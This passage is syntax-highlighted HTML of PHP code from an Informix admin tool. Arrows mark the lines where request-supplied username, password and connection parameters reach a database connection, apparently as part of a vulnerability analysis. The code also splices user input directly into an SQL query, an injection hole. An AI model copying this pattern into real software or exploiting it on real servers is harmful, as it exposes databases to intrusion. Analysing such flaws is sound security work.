class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TENANT_DBOWNER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">||<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TENANT_DBOWNER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-14\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;sysadmin&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-15\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-16\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;sysmaster&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-17\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-18\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;USERNAME&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-19\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">passwd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;PASSWORD&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-20\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">envvars<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;ENVVARS&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;ENVVARS&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-21\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-22\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">require_once<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">ROOT_PATH<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;lib\/PDO_OAT.php&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-23\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-24\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">tdb<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PDO_OAT<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">servername<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">protocol<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">dbname<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">envvars<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">passwd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-25\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">PDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-26\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">preg_split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\/:\/&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMessage<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-27\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-28\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;{$this-&gt;idsadmin-&gt;lang(&#8216;ConnectionFailed&#8217;)} {$statemessage}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-29\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">state<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-30\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-31\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-32\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TENANT_DBOWNER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TENANT_DBOWNER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">||<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">idsadmin<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TENANT_DBOWNER&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;true&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-33\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-34\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">state<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-35\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">internal<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-36\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-37\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-38\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">tdb<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-39\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-40\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-41\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-42\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-43\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-44\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sql<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;SELECT COUNT(*) as nameexists &#8220;<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-45\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;FROM sysadmin:ph_allow_list al, {$this-&gt;idsadmin-&gt;in[&#8216;TENANT_DBNAME&#8217;]}:sysusers su &#8220;<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-46\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;WHERE al.name = &#8216;{$this-&gt;idsadmin-&gt;in[&#8216;USERNAME&#8217;]}&#8217; &#8220;<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-47\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;AND al.name = su.username &#8220;<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-48\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;AND su.usertype IN (&#8216;D&#8217;,&#8217;R&#8217;) &#8220;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-49\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;AND al.perm_list LIKE &#8216;%tenant%&#8217;;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-50\"><span class=\"crayon-h\">\t\t\t\t&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-51\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-52\"><span class=\"crayon-h\">\t\t\t\t\t\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-53\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">tdb<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">query<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">sql<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-54\"><span class=\"crayon-h\">\t\t\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-55\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">PDOException<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-56\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err_code<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getCode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-57\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">err_msg<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getMessage<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-58\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;{$this-&gt;idsadmin-&gt;lang(&#8216;ConnectionFailed&#8217;)} {$err_code}:{$err_msg}&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-59\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">internal<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-60\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-61\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-62\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">tdb<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-63\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">statemessage<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-64\"><span class=\"crayon-h\">\t\t\t\t\t<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-65\"><span class=\"crayon-h\">\t\t\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-66\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-67\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-68\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">fetch<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-69\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">stmt<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">closeCursor<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798535997896370-70\"><span class=\"crayon-h\">\t&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798535997896370-71\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">row<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;NAMEEXISTS&#8217;<\/span><span 